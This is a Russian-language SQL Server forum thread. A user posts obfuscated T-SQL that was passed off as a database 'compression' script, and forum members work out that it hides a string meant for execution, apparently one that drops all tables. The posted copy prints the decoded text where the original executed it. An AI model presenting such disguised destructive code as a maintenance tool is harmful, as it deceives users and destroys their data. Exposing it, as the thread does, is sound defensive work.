Добро пожаловать в форум, Guest  >>   Войти | Регистрация | Поиск | Правила | В избранное | Подписаться
Все форумы / Microsoft SQL Server Новый топик    Ответить
 Непонятный код  [new]
AnyLev
Member

Откуда:
Сообщений: 2
Здравствуйте!
Один знакомый дал код, который должен "сжимать" базу данных. Но я, честно говоря, не понимаю, как её можно сжать, а в самом коде разобраться не получается, и Google тоже не помог :(. Уважаемые гуру, подскажите, действительно ли такой код может сжать содержимое БД? И если да - то что надо почитать мне, чтобы в нем разобраться?
А то выполнять непонятный код на рабочей базе данных страшно немного.
BEGIN
    DECLARE @I1 VARCHAR(MAX);
        SET @I1 = 'l6?4GI6VFFI4O?l6?4kVF6?lOX4?lX@?VGX_?6?;VgY?Gi4X?96G4Y?l7'+
                  'X@Ab?4FTIG?eVgOb>64i4?X_`4T?M\NkhGIGkH96G4Y@@?4F_9B?lX@?V'+
                  'GX_?6?;VgY?Gi4X?96G4Y?l6?X4eV?l7MMJ>gI96gIS?W@?4gIF64O?lb'+
                  'hb\4eEG?4g49B?R3]ZcU5[RPR?;VgY?ZjLW?G64F4k?gVY?gVkgh6?]?4'+
                  'gIF64O?lb==L?GX_IgGkXV6?C6496VX?8?4FTIG?g4GFIb?Z=UL3<]LZ^'+
                  '5KRjH:R?64i4'; 
    DECLARE @I2 VARCHAR(MAX);
        SET @I2 = 'tEoC)?HpMhl( @+WK!YLT_A2fa0>Dy6sVBbOnNFe.=crIG|j…P>RUXmS;'
    DECLARE @I3 VARCHAR(MAX) ,
        @I INT;
        SET @I = 1;
        SET @I3 = '';
        WHILE @I <= LEN(@I1)
        BEGIN
            SET @I3 = SUBSTRING(@I2, 0 + ASCII(SUBSTRING(@I1, @I, 1)) - 50, 1)
                + @I3;
                SET @I = @I + 1;
            END;
        SET @I3=REPLACE(@I3,'|','''');
        PRINT(@I3);
END;

Заранее спасибо!

Сообщение было отредактировано: 29 окт 13, 14:18
29 окт 13, 14:10    [15046527]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
Glory
Member

Откуда:
Сообщений: 104751
вместо EXEC(@I3) поставьте print (@I3);
29 окт 13, 14:13    [15046552]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
Konst_One
Member

Откуда:
Сообщений: 11621
PRINT(@I3);
--EXEC(@I3);
29 окт 13, 14:14    [15046555]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
Гость333
Member

Откуда:
Сообщений: 3683
Имхо, ТС — тролль, который хочет, чтобы читатели темы бездумно запустили скрипт.
29 окт 13, 14:16    [15046568]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
LexusR
Member

Откуда: Novosibirsk
Сообщений: 1887
или ТС сильно чем-то насолил этому знакомому
29 окт 13, 14:17    [15046581]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
AnyLev
Member

Откуда:
Сообщений: 2
Нет, я не тролль! Тролль - тот мой "знакомый", который мне этот код прислал. Glory и Konst_One - большое спасибо за подсказку, я SQL плохо знаю, и так сделать не догадалась.
Я так понимаю, что этот код удалит все таблицы в моей базе?
29 окт 13, 14:19    [15046601]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
LexusR
Member

Откуда: Novosibirsk
Сообщений: 1887
и тем самым база действительно ужмётся
29 окт 13, 14:22    [15046619]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
Glory
Member

Откуда:
Сообщений: 104751
AnyLev
Я так понимаю, что этот код удалит все таблицы в моей базе?

Запустите и узнаете
29 окт 13, 14:23    [15046624]     Ответить | Цитировать Сообщить модератору
 Re: Непонятный код  [new]
Maxx
Member [скрыт]

Откуда:
Сообщений: 24290
вот ,же кому то нефиг делать
29 окт 13, 14:40    [15046732]     Ответить | Цитировать Сообщить модератору
Все форумы / Microsoft SQL Server Ответить